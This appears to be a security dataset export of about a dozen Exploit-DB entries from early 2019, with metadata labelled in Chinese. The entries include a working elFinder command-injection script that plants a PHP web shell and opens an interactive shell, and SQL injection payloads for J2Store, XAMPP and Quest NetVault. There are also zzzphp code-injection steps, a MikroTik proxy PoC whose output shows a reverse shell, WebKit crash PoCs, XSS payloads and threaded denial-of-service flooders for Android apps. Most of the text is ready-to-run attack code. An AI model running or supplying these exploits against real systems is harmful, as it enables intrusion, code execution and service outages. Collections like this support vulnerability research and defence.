QLWD/code_shield huggingface dataset:
标题: elFinder 2.1.47 - 'PHP connector' Command Injection EDB-ID: 46481 CVE: 2019-9194 类型: WEBAPPS 平台: PHP 发布日期: 2019-03-04 漏洞利用脚本: #!/usr/bin/python

'''
# Exploit Title: elFinder <= 2.1.47 - Command Injection vulnerability in the PHP connector.
# Date: 26/02/2019
# Exploit Author: @q3rv0
# Vulnerability reported by: Thomas Chauchefoin
# Google Dork: intitle:"elFinder 2.1.x"
# Vendor Homepage: https://studio-42.github.io/elFinder/
# Software Link: https://github.com/Studio-42/elFinder/archive/2.1.47.tar.gz
# Version: <= 2.1.47
# Tested on: Linux 64bit + Python2.7
# PoC: https://www.secsignal.org/news/cve-2019-9194-triggering-and-exploiting-a-1-day-vulnerability/
# CVE: CVE-2019-9194

# Usage: python exploit.py [URL]

'''

import requests

import json

import sys


payload = 'SecSignal.jpg;echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > SecSignal.php;echo SecSignal.jpg'


def usage():

    if len(sys.argv) != 2:

        print "Usage: python exploit.py [URL]"

        sys.exit(0)


def upload(url, payload):

    files = {'upload[]': (payload, open('SecSignal.jpg', 'rb'))}

    data = {"reqid" : "1693222c439f4", "cmd" : "upload", "target" : "l1_Lw", "mtime[]" : "1497726174"}

    r = requests.post("%s/php/connector.minimal.php" % url, files=files, data=data)

    j = json.loads(r.text)

    return j['added'][0]['hash']


def imgRotate(url, hash):

    r = requests.get("%s/php/connector.minimal.php?target=%s&width=539&height=960&degree=180&quality=100&bg=&mode=rotate&cmd=resize&reqid=169323550af10c" % (url, hash))

    return r.text


def shell(url):

    r = requests.get("%s/php/SecSignal.php" % url)

    if r.status_code == 200:

       print "[+] Pwned! :)"

       print "[+] Getting the shell..."

       while 1:

           try:

               input = raw_input("$ ")

               r = requests.get("%s/php/SecSignal.php?c=%s" % (url, input))

               print r.text

           except KeyboardInterrupt:

               sys.exit("\nBye kaker!")

    else:

        print "[*] The site seems not to be vulnerable :("


def main():

    usage()

    url = sys.argv[1]

    print "[*] Uploading the malicious image..."

    hash = upload(url, payload)

    print "[*] Running the payload..."

    imgRotate(url, hash)

    shell(url)


if __name__ == "__main__":

    main() URL: https://www.exploit-db.com/exploits/46481
标题: Joomla! Component J2Store < 3.3.7 - SQL Injection EDB-ID: 46467 CVE: 2019-9184 类型: WEBAPPS 平台: PHP 发布日期: 2019-02-28 漏洞利用脚本: # Exploit Title: J2Store Plugin for Joomla! < 3.3.6 - SQL Injection
# Date: 19/02/2019
# Author: Andrei Conache
# Twitter: @andrei_conache
# Contact: andrei.conache[at]protonmail.com
# Software Link: https://www.j2store.org
# Version: 3.x-3.3.6
# Tested on: Linux
# CVE: CVE-2019-9184


1. Description:
J2Store is the most popular shopping/e-commerce extension for Joomla!. The SQL Injection found allows any visitor to run arbitrary queries
on the website.
 

2. Proof of Concept:

- Parameter vulnerable: "product_option[j]" array (where j depends on entries)
- Example: [URL]/index.php?option=com_j2store&view=product&task=update&product_option[j]=%27%22%3E2&product_qty=1&product_id=XX&option=com_j2store&ajax=0&_=XXXXXXXXXX
- sqlmap: product_option[j]=%28CASE%20WHEN%20%284862%3D4862%29%20THEN%204862%20ELSE%204862%2A%28SELECT%204862%20FROM%20DUAL%20UNION%20SELECT%205348%20FROM%20DUAL%29%20END%29


3. Solution:
Update to 3.3.7 URL: https://www.exploit-db.com/exploits/46467
标题: WebKitGTK 2.23.90 / WebKitGTK+ 2.22.6 - Denial of Service EDB-ID: 46465 CVE: 2019-8375 类型: DOS 平台: LINUX 发布日期: 2019-02-28 漏洞利用脚本: #Exploit Title: Buffer overflow
# Date: 27-02-2019
# Exploit Author: Dhiraj Mishra
# Vendor Homepage: https://webkit.org/
# Software Link: https://gitlab.gnome.org/GNOME/epiphany
# Version: 2.23.90
# Tested on: Linux 4.15.0-38-generic
# CVE: CVE-2019-8375
# References:
# https://nvd.nist.gov/vuln/detail/CVE-2019-8375
# https://www.inputzero.io/2019/02/fuzzing-webkit.html

## Summary:
The UIProcess subsystem in WebKit, as used in WebKitGTK through 2.23.90 and
WebKitGTK+ through 2.22.6 and other products, does not prevent the script
dialog size from exceeding the web view size, which allows remote attackers
to cause a denial of service (Buffer Overflow) or possibly have unspecified
other impact, related to UIProcess/API/gtk/WebKitScriptDialogGtk.cpp,
UIProcess/API/gtk/WebKitScriptDialogImpl.cpp, and
UIProcess/API/gtk/WebKitWebViewGtk.cpp, as demonstrated by GNOME Web (aka
Epiphany).

## PoC:
<script>
   var a = '';
   for (var i = 1; i <= 5000; i++)
    {
       a += 'A';
    }
   alert(a);
</script> URL: https://www.exploit-db.com/exploits/46465
标题: zzzphp CMS 1.6.1 - Remote Code Execution EDB-ID: 46454 CVE: 2019-9041 类型: WEBAPPS 平台: PHP 发布日期: 2019-02-25 漏洞利用脚本: # Exploit Title: dynamic code evaluation of zzzphp cms 1.6.1

# Google Dork: intext:"2015-2019 zzcms.com"

# Date: 24/02/2019

# Exploit Author: Yang Chenglong

# Vendor Homepage: http://www.zzzcms.com/index.html

# Software Link: http://115.29.55.18/zzzphp.zip

# Version: 1.6.1

# Tested on: windows/Linux,iis/apache

# CVE : CVE-2019-9041

Due to the failure of filtering function parserIfLabel() in inc/zzz_template.php, attackers can insert dynamic php code into the template file and leads to dynamic code evaluation.

Exploit:
login in to the admin panel, edit the template of search.html, insert the following code:

{if:assert($_POST[x])}phpinfo();{end if}

Visit the http://webroot/search/ and post data “x = phpinfo();”, the page will execute the php code “phpinfo()” as follow:
[1.png]

Remarks:
While the above exploit requires attackers to have the access to the admin panel, I will post another exploit by using csrf to acquire the control of website without access to the admin panel. URL: https://www.exploit-db.com/exploits/46454
标题: FTP Server 1.32 - Denial of Service EDB-ID: 46464 CVE: 2019-9600 类型: DOS 平台: ANDROID 发布日期: 2019-02-28 漏洞利用脚本: #!/usr/bin/env python
#coding: utf-8

# ************************************************************************
# *                Author: Marcelo Vázquez (aka s4vitar)                 *
# *           FTP Server 1.32 Remote Denial of Service (DoS)             *
# ************************************************************************

# Exploit Title: FTP Server 1.32 Remote Denial of Service (DoS)
# Date: 2019-02-26
# Exploit Author: Marcelo Vázquez (aka s4vitar)
# Vendor: The Olive Tree
# Software Link: https://play.google.com/store/apps/details?id=com.theolivetree.ftpserver
# Category: Mobile Apps
# Version: <= FTP Server 1.32
# Tested on: Android

import socket, random, string, signal, ssl, argparse, sys
from time import sleep
from threading import Thread, active_count
from os import system, geteuid

if geteuid() != 0:
    print("\nPlease, run %s as root...\n" % sys.argv[0])
    sys.exit()

stop = False

def signal_handler(signal, frame):
    global stop
    stop = True

def spam(target_ip, port):
    while True:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(2)
        try:
            s.connect((target_ip, port))
        except:
            pass
        if stop == True:
            break

if __name__ == '__main__':

    signal.signal(signal.SIGINT, signal_handler)

    if len(sys.argv) != 3:
        print "\nUsage: python " + sys.argv[0] + " <ip-address> <port>\n"
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2])

    target_ip = socket.gethostbyname(target)

    system('iptables -A OUTPUT -d %s -p tcp --dport %d --tcp-flags FIN FIN -j DROP' %( target_ip, port ))
    system('iptables -A OUTPUT -d %s -p tcp --dport %d --tcp-flags RST RST -j DROP' %( target_ip, port ))

    threads = []

    payload = ''

    for i in xrange(0,50):
        t = Thread(target=spam, args=(target_ip, port,))
        threads.append(t)
        t.start()

    while True:

        if active_count() == 1 or stop == True:

            system('iptables -D OUTPUT -d %s -p tcp --dport %d --tcp-flags FIN FIN -j DROP' %( target_ip, port ))
            system('iptables -D OUTPUT -d %s -p tcp --dport %d --tcp-flags RST RST -j DROP' %( target_ip, port ))
            print("")
            break URL: https://www.exploit-db.com/exploits/46464
标题: MikroTik RouterOS < 6.43.12 (stable) / < 6.42.12 (long-term) - Firewall and NAT Bypass EDB-ID: 46444 CVE: 2019-3924 类型: REMOTE 平台: HARDWARE 发布日期: 2019-02-21 漏洞利用脚本: # CVE-2019-3924

A remote, unauthenticated attacker can proxy traffic through RouterOS via probes sent to the agent binary. This PoC demonstrates how to exploit a LAN host from the WAN. A video demonstrating the attack can be found here:

* https://www.youtube.com/watch?v=CxyOtsNVgFg

A Tenable Research Advisory for the vulnerability can be found here:

* https://www.tenable.com/security/research/tra-2019-07

## Compilation
This code was tested on Ubuntu 18.04. There is a dependency on boost, gtest, and cmake. Simply install them like so:

```sh
sudo apt install libboost-dev cmake
```

To compile simply do the following:

```sh
cd routeros/poc/cve_2019_3924/
mkdir build
cd build
cmake ..
```

## Sample Usage

```sh
albinolobster@ubuntu:~/routeros/poc/cve_2019_3924/build$ ./nvr_rev_shell --proxy_ip 192.168.1.70 --proxy_port 8291 --target_ip 10.0.0.252 --target_port 80 --listening_ip 192.168.1.7 --listening_port 1270
[!] Running in exploitation mode
[+] Attempting to connect to a MikroTik router at 192.168.1.70:8291
[+] Connected!
[+] Looking for a NUUO NVR at 10.0.0.252:80
[+] Found a NUUO NVR!
[+] Uploading a webshell
[+] Executing a reverse shell to 192.168.1.7:1270
[+] Done!
albinolobster@ubuntu:~/routeros/poc/cve_2019_3924/build$
```


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46444.zip URL: https://www.exploit-db.com/exploits/46444
标题: WebKit JSC - reifyStaticProperty Needs to set the PropertyAttribute::CustomAccessor flag for CustomGetterSetter EDB-ID: 46448 CVE: 2019-6215 类型: DOS 平台: MULTIPLE 发布日期: 2019-02-22 漏洞利用脚本: /*
https://github.com/WebKit/webkit/blob/3fff8c40c665a09de5e3ede46fc35908f69353c3/Source/JavaScriptCore/runtime/Lookup.h#L392

    if (value.attributes() & PropertyAttribute::PropertyCallback) {
        JSValue result = value.lazyPropertyCallback()(vm, &thisObj);
        thisObj.putDirect(vm, propertyName, result, attributesForStructure(value.attributes()));
        return;
    }

    if (value.attributes() & PropertyAttribute::DOMJITAttribute) {
        ASSERT_WITH_MESSAGE(classInfo, "DOMJITAttribute should have class info for type checking.");
        const DOMJIT::GetterSetter* domJIT = value.domJIT();
        auto* customGetterSetter = DOMAttributeGetterSetter::create(vm, domJIT->getter(), value.propertyPutter(), DOMAttributeAnnotation { classInfo, domJIT });
        thisObj.putDirectCustomAccessor(vm, propertyName, customGetterSetter, attributesForStructure(value.attributes()));
        return;
    }

    if (value.attributes() & PropertyAttribute::DOMAttribute) {
        ASSERT_WITH_MESSAGE(classInfo, "DOMAttribute should have class info for type checking.");
        auto* customGetterSetter = DOMAttributeGetterSetter::create(vm, value.propertyGetter(), value.propertyPutter(), DOMAttributeAnnotation { classInfo, nullptr });
        thisObj.putDirectCustomAccessor(vm, propertyName, customGetterSetter, attributesForStructure(value.attributes()));
        return;
    }

    CustomGetterSetter* customGetterSetter = CustomGetterSetter::create(vm, value.propertyGetter(), value.propertyPutter());
    thisObj.putDirectCustomAccessor(vm, propertyName, customGetterSetter, attributesForStructure(value.attributes()));

It's possible that the given property's attributes variable "value.attributes()" doesn't contain PropertyAttribute::CustomAccessor. In that case, a mismatch between the value of the property and its attributes occurs. When handling a property access operation, the normal interpreter sees the type of the value whereas the JIT compiler sees the attributes. So we can use JITed code to pull out the CustomGetterSetter object to the JavaScript world. The PoC demonstrates type confusion and an OOB read using a CustomGetterSetter object linked to regExpConstructorInput.

PoC:
*/

function opt(o) {
    return o.r.input;
}

Object.assign({}, RegExp);  // Reifying

for (let i = 0; i < 200000; i++) {
    opt({r: RegExp});
}

let input = opt({r: RegExp});   // Pulling the CustomGetterSetter object.

let o = {
    a0: 0x1234,
    a1: 0x1234,
    a2: 0x1234,
    a3: 0x1234,
    a4: 0x1234,
    a5: 0x1234,
    a6: 0x1234,
    a7: 0x1234,
    a8: 0x1234,
    a9: 0x1234,
    a10: 0x1234,
    a11: 0x1234,
}

o.input = input;

print(o.input);  // The normal interpreter doesn't see the attributes, so it will just call the underneath getter using callCustomGetter. URL: https://www.exploit-db.com/exploits/46448
标题: ScreenStream 3.0.15 - Denial of Service EDB-ID: 46443 CVE: 2019-9833 类型: DOS 平台: ANDROID 发布日期: 2019-02-21 漏洞利用脚本: #!/usr/bin/python
#coding: utf-8

# ************************************************************************
# *                Author: Marcelo Vázquez (aka s4vitar)                 *
# *         ScreenStream 3.0.15 Remote Denial of Service (DoS)           *
# ************************************************************************

# Exploit Title: ScreenStream 3.0.15 Remote Denial of Service (DoS)
# Date: 2019-02-21
# Exploit Author: Marcelo Vázquez (aka s4vitar)
# Vendor Homepage: http://mobzapp.com/mirroring/index.html
# Software Link: https://play.google.com/store/apps/details?id=info.dvkr.screenstream&hl=en
# Version: <= ScreenStream 3.0.15
# Tested on: Android

import sys, requests, threading, signal

def handler(signum, frame):
        print '\nFinishing program...\n'
        sys.exit(0)

if len(sys.argv) != 3:
 print "\nUsage: python " + sys.argv[0] + " <ip_address> <port>\n"
 print "Example: python " + sys.argv[0] + " 192.168.1.125 8080\n"
 sys.exit(0)

def startAttack(url):
 url_destination = url + '/start-stop'
 headers = {'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'en-US,en;q=0.5', 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0', 'Accept': '*/*', 'Referer': url, 'Connection': 'close'}

 r = requests.post(url_destination, headers=headers)

if __name__ == '__main__':

 signal.signal(signal.SIGINT, handler)
 url = 'http://' + sys.argv[1] + ':' + sys.argv[2]

 threads = []

 for i in xrange(0, 10000):
  t = threading.Thread(target=startAttack, args=(url,))
  threads.append(t)

 for x in threads:
  x.start()

 for x in threads:
  x.join() URL: https://www.exploit-db.com/exploits/46443
标题: Quest NetVault Backup Server < 11.4.5 - Process Manager Service SQL Injection / Remote Code Execution EDB-ID: 46446 CVE: 2017-17417 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2019-02-22 漏洞利用脚本: # Exploit Title: Quest NetVault Backup Server < 11.4.5 Process Manager Service SQL Injection Remote Code Execution Vulnerability (ZDI-17-982)
# Date: 2-21-2019
# Exploit Author: credit goes to rgod for finding the bug
# Version: Quest NetVault Backup Server < 11.4.5
# CVE : CVE-2017-17417

# There is a decent description of the bug here: https://www.zerodayinitiative.com/advisories/ZDI-17-982/ 
# but no PoC, hence this submission. Also the description states that authentication is not required.
# I did not find the auth bypass, but the target was using default credz
# of admin and a blank password.
#
# "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations 
# of Quest NetVault Backup. Authentication is not required to exploit this vulnerability.
# 
# The specific flaw exists within the handling of NVBUPhaseStatus Acknowledge method requests. 
# The issue results from the lack of proper validation of a
# user-supplied string before using it to construct SQL queries. An attacker can leverage this 
# vulnerability to execute code in the context of the underlying database."



# Fill out the variables then copy paste everything below this line into a kali terminal

#target ip address
target=x.x.x.x

#target port
port=8443

#username
username=admin

#password is blank by default!
password=
cookie=$(curl -i -s -k  -X $'POST' -H $'Content-Length: 109' -H $'Content-Type: application/json-rpc; charset=UTF-8' --data-binary "{\"jsonrpc\":\"2.0\",\"method\":\"Logon\",\"params\":{\"OutputFormat\":\"pretty\",\"UserName\":\"$username\",\"Password\":\"$password\"},\"id\":1}" "https://$target:$port/query" | grep SessionCookie | cut -d '"' -f4)
cat > dellSqlmap <<EOF
POST /query HTTP/1.1
Host: $target:$port
Connection: close
Content-Length: 129
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
SessionCookie: $cookie
Content-Type: application/json-rpc; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{"jsonrpc":"2.0","method":"GET","params":{"classname":"NVBUPhaseStatus","updates":"none","where":"1=1*"},"id":1}
EOF
sqlmap -r dellSqlmap --force-ssl --level=5 --dbms=postgresql --prefix='' --suffix='' --test-filter='AND boolean-based blind - WHERE or HAVING clause' --batch URL: https://www.exploit-db.com/exploits/46446
标题: AirDrop 2.0 - Denial of Service (DoS) EDB-ID: 46445 CVE: 2019-9832 类型: DOS 平台: ANDROID 发布日期: 2019-02-21 漏洞利用脚本: #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <netdb.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>

// ************************************************************************
// *                Author: Marcelo Vázquez (aka s4vitar)                 *
// *             AirDrop 2.0 Remote Denial of Service (DoS)               *
// ************************************************************************

// Exploit Title: AirDrop 2.0 Remote Denial of Service (DoS)
// Date: 2019-02-21
// Exploit Author: Marcelo Vázquez (aka s4vitar)
// Vendor Homepage: https://support.apple.com/en-us/HT204144
// Software Link: https://apkpure.com/airdrop-wifi-file-transfer/com.airdrop.airdroid.shareit.xender.filetransfer
// Version: <= AirDrop 2.0
// Tested on: Android

int make_socket(char *host, char *port) {
    struct addrinfo hints, *servinfo, *p;
    int sock, r;

    memset(&hints, 0, sizeof(hints));
    hints.ai_family = AF_UNSPEC;
    hints.ai_socktype = SOCK_STREAM;
    if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
        fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
        exit(0);
    }
    for(p = servinfo; p != NULL; p = p->ai_next) {
        if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
            continue;
        }
        if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
            close(sock);
            continue;
        }
        break;
    }
    if(p == NULL) {
        if(servinfo)
            freeaddrinfo(servinfo);
        fprintf(stderr, "No connection could be made\n");
        exit(0);
    }
    if(servinfo)
        freeaddrinfo(servinfo);
    fprintf(stderr, "[Connected -> %s:%s]\n", host, port);
    return sock;
}

void broke(int s) {
    // Nothing to do
}

#define CONNECTIONS 8
#define THREADS 48

void attack(char *host, char *port, int id) {
    int sockets[CONNECTIONS];
    int x, g=1, r;
    for(x=0; x!= CONNECTIONS; x++)
        sockets[x]=0;
    signal(SIGPIPE, &broke);
    while(1) {
        for(x=0; x != CONNECTIONS; x++) {
            if(sockets[x] == 0)
                sockets[x] = make_socket(host, port);
            r=write(sockets[x], "\0", 1);
            if(r == -1) {
                close(sockets[x]);
                sockets[x] = make_socket(host, port);
            }
        }
        usleep(300000);
    }
}

int main(int argc, char **argv) {

    int x;

    if (argc < 3) {
        printf("Usage: ./AirDrop_DoS <ip-address> <port>\n");
        exit(-1);
}

    for(x=0; x != THREADS; x++) {
        if(fork())
            attack(argv[1], argv[2], x);
        usleep(200000);
    }
    getc(stdin);
    return 0;
} URL: https://www.exploit-db.com/exploits/46445
标题: XAMPP 5.6.8 - SQL Injection / Persistent Cross-Site Scripting EDB-ID: 46424 CVE: 2019-8924 2019-8923 类型: WEBAPPS 平台: PHP 发布日期: 2019-02-19 漏洞利用脚本: <!--
# Exploit Title: SQL injection in XAMPP 5.6.8 (and previous)
# Date: 17-02-2019
# Exploit Author: Rafael Pedrero
# Vendor Homepage: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/5.6.8/
# Software Link: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/5.6.8/
# Version: XAMPP 5.6.8
# Tested on: All
# CVE : CVE-2019-8923
# Category: webapps

 
1. Description
   
XAMPP through 5.6.8 allows SQL injection via the cds-fpdf.php jahr parameter. NOTE: This product is discontinued. Affected Product Code Base XAMPP 1.8.2 (and previous).
 
   
2. Proof of Concept
 
http://localhost/xampp/cds-fpdf.php?interpret=SQLi&titel=SQLi&jahr=1984%20%20AND%20sleep%285%29

   
3. Solution:
   
The product is discontinued. Update to last version.

Reference:
https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/1.8.2/
https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/5.5.19/
https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/5.6.8/

-->


<!--
# Exploit Title: Cross Site Scripting in XAMPP 5.6.8 (and previous)
# Date: 17-02-2019
# Exploit Author: Rafael Pedrero
# Vendor Homepage: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/5.6.8/
# Software Link: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/5.6.8/
# Version: XAMPP 5.6.8
# Tested on: All
# CVE : CVE-2019-8924
# Category: webapps
 
1. Description
   
XAMPP through 5.6.8 allows XSS via the cds-fpdf.php interpret or titel parameter. NOTE: This product is discontinued. Affected Product Code Base XAMPP 1.8.2 (and previous).
 
   
2. Proof of Concept

First Request (not filter the characters's content): http://X.X.X.X/xampp/cds.php?interpret=<script>alert("XSS")</script>&titel=XSS&jahr=1984

or Request: http://localhost/xampp/cds.php?interpret=XSS&titel=<script>alert("XSS")</script>&jahr=1984

Second Request (to xss attack): http://X.X.X.X/xampp/cds-fpdf.php 

http://localhost/xampp/cds-fpdf.php?interpret=XSS&titel=<script>alert("XSS")</script>&jahr=1984

http://localhost/xampp/cds-fpdf.php?interpret=<script>alert("XSS")</script>&titel=XSS&jahr=1984

When cds-fpdf.php is loaded not filter the characters: <b><script>alert("XSS")</script></b></td><td class=tabval>

cds.php filter it: <td class=tabval><b><script>alert("XSS&quot</script></b></td><td class=tabval>
   
3. Solution:
   
The product is discontinued. Update to last version.

Reference:
https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/1.8.2/
https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/5.5.19/
https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/5.6.8/

--> URL: https://www.exploit-db.com/exploits/46424